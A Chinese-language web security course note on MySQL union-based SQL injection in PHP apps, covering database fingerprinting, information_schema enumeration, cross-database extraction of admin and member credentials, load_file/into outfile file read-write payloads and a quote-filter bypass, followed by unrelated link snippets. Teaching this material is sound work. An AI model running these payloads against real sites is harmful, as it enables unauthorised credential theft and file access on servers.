第42天:WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作 - 快捷方式
接受的参数值未进行过滤直接带入SQL查询
MYSQL注入:(目的获取当前web权限)
1、判断常见四个信息(系统,用户,数据库名,版本)
2、根据四个信息去选择方案
root用户:先测试读写,后测试获取数据
非root用户:直接测试获取数据
#PHP-MYSQL-SQL常规查询
获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看是否符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值
1. order by 6
这是一种常见的SQL注入测试方法,用来确定原始查询中返回的列数。如果数字6
大于实际的列数,数据库会返回错误,表明查询中只有较少的列数。
2. union select 1,2,3,4,5,6
UNION
操作符用于合并两个或多个SELECT
语句的结果。这个语句尝试通过选择六个占位符(1, 2, 3, 4, 5, 6
)来匹配原始查询的列数。如果成功,这些数字会显示在输出中,表明查询有六列。
3. union select 1,2,3,database(),user(),6
此注入语句旨在通过SQL注入攻击获取当前数据库名(database()
)和当前数据库用户(user()
)。这些值会被插入到SELECT
语句的第四和第五个位置。如果成功,攻击者可以看到当前的数据库名和执行查询的数据库用户。
4. union select 1,2,3,version(),@@version_compile_os,6
此SQL注入用于获取数据库的版本信息(version()
)和数据库服务器运行的操作系统(@@version_compile_os
)。这些信息有助于攻击者根据数据库版本和操作系统制定进一步的攻击计划。
5. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'
此语句试图从information_schema.tables
中获取名为demo01
的数据库架构中的所有表名。group_concat(table_name)
函数将所有表名连接成一个字符串。结果将列出demo01
数据库架构中的所有表。
6. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'
此查询用于从admin
表中获取所有列名。group_concat(column_name)
函数将所有列名连接成一个字符串。这可以帮助攻击者了解admin
表的结构,包括列名。
7. union select 1,2,3,username,password,6 from admin limit 0,1
最后,这条语句旨在从admin
表中提取username
和password
,并限制结果只返回第一行(limit 0,1
)。这可能会向攻击者提供可以用于未经授权访问的凭据。
#PHP-MYSQL-SQL跨库查询
影响条件:当前数据库ROOT用户权限
测试不同数据库用户:root demo
1. union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata
- 目的:列出数据库服务器上的所有数据库名。
- 解释:
information_schema.schemata
表包含了服务器上所有数据库的名称。group_concat(schema_name)
函数将这些数据库名称连接成一个字符串并返回。 - 使用场景:攻击者通过此语句可以获取当前数据库服务器上的所有数据库名,为后续的进一步攻击提供信息。
2. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog'
- 目的:列出
zblog
数据库中的所有表名。 - 解释:
information_schema.tables
表包含了所有表的信息。where table_schema='zblog'
筛选出特定数据库(zblog
)中的所有表。group_concat(table_name)
函数将这些表名连接成一个字符串并返回。 - 使用场景:通过此语句,攻击者可以了解
zblog
数据库中有哪些表,从而决定哪些表可能包含有价值的数据。
3. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog'
- 目的:列出
zblog
数据库中zbp_member
表的所有列名。 - 解释:
information_schema.columns
表包含了每个表的列信息。where table_name='zbp_member' and table_schema='zblog'
条件指定从zblog
数据库的zbp_member
表中提取列名。group_concat(column_name)
函数将这些列名连接成一个字符串并返回。 - 使用场景:通过列出
zbp_member
表中的所有列名,攻击者可以了解表的结构,包括哪些字段存储了敏感数据(如用户名、密码等)。
4. union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member
- 目的:从
zblog
数据库中的zbp_member
表中提取用户名和密码。 - 解释:此语句直接查询
zblog
数据库中的zbp_member
表,提取用户的用户名(mem_Name
)和密码(mem_Password
)。返回的结果中包含了这些敏感数据。 - 使用场景:这条语句是最直接的攻击方式,用于获取用户的登录信息(用户名和密码)。如果攻击成功,攻击者可能会获取到能访问系统的凭据。
#PHP-MYSQL-SQL文件读写
影响条件:
1、当前数据库用户权限
2、secure-file-priv设置
测试不同数据库用户:root demo
union select 1,load_file('d:\\1.txt'),3,4,5,6
union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'
读写的路径的问题:
1、报错显示获取路径
2、phpinfo页面泄漏
如果不知道路径思路:
利用常见的默认的中间件,数据库等安装路径读取有价值信息
解决:单引号过滤绕过方式
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)
第42天:WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作 - 快捷方式的更多相关文章
- MySQL防范SQL注入风险
MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...
- 第二百八十一节,MySQL数据库-SQL注入和pymysql模块防止SQL注入
MySQL数据库-SQL注入和pymysql模块防止SQL注入 SQL注入就是通过SQL语句绕开程序判断,获取到数据库的内容 下面以一个简单的程序登录SQL注入举例: 正常登录 1.数据库有一张会员表 ...
- 三十一、MySQL 及 SQL 注入
MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...
- DB-MySql:MySQL 及 SQL 注入
ylbtech-DB-MySQL:MySQL 及 SQL 注入 1.返回顶部 1. MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL ...
- mysql 跨库查询问题
MySQL实现跨服务器查询 https://blog.csdn.net/LYK_for_dba/article/details/78180444 mysql> create database l ...
- PHP+Mysql防止SQL注入的方法
这篇文章介绍的内容是关于PHP+Mysql防止SQL注入的方法,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下 方法一: mysql_real_escape_string -- 转义 S ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- MySQL 及 SQL 注入
如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符. 所谓SQL注入,就是 ...
- Tornado+MySQL模拟SQL注入
实验环境: python 3.6 + Tornado 4.5 + MySQL 5.7 实验目的: 简单模拟SQL注入,实现非法用户的成功登录 一.搭建环境 1.服务端的tornado主程序app.py ...
随机推荐
- MySQL之DCL
DCL * 一个项目创建一个用户!一个项目对应的数据库只有一个! * 这个用户只能对这个数据库有权限,其他数据库你就操作不了了! 1. 创建用户 * CREATE USER 用户名@IP地址 ID ...
- 题解:CF1971C Clock and Strings
题解:CF1971C Clock and Strings 题意 在上图的一个圆中,给予你四个点 \(a,b,c,d\),判断线段 \(ab\) 与线段 \(cd\) 是否相交. 思路 先设置一个字符串 ...
- windows中新建文件菜单消失的解决办法
具体解决办法: https://jingyan.baidu.com/article/cbcede07577f4702f40b4dfd.html 右键中新建文本文件 菜单消失: 注册表编辑器: 路径: ...
- M1安装Anaconda遇到的问题
1. 安装时报错:"Anaconda3 is already installed in /opt/anaconda3. Use 'conda update anaconda3' to upd ...
- 如何在Windows10电脑上打开3D建模STL文件
相关: https://www.bilibili.com/video/BV1gD4y1h7tj/
- 多网卡系统下如何使用tcp协议实现MPI的分布式多机运行(mpi的实现使用openmpi)
如题: 最近在看MPI方面的东西,主要是Python下的MPI4PY,学校有超算机房可以使用MPI,但是需要申请什么的比较麻烦,目的也本就是为了学习一下,所以就想着在自己的电脑上先配置一下. 现有硬件 ...
- 老版本mujoco: mujoco 1.31 1.40 1.50 2.00 版本下载地址
下载地址: https://www.roboti.us/download.html 激活码下载地址: https://www.roboti.us/file/mjkey.txt 安装教程: https: ...
- 使用 onBeforeRouteLeave 组合式函数提升应用的用户体验
title: 使用 onBeforeRouteLeave 组合式函数提升应用的用户体验 date: 2024/8/14 updated: 2024/8/14 author: cmdragon exce ...
- 瑞芯微-I2S | ALSA基础-3
针对音频设备,linux内核中包含了两类音频设备驱动框架: OSS:开放声音系统 包含dsp和mixer字符设备接口,应用访问底层硬件是直接通过sound设备节点实现的: ALSA:先进linux声音 ...
- JavaScript设计模式样例十四 —— 观察者模式
观察者模式(Observer Pattern) 定义:当一个对象被修改时,则会自动通知它的依赖对象.目的:定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都得到通知并被 ...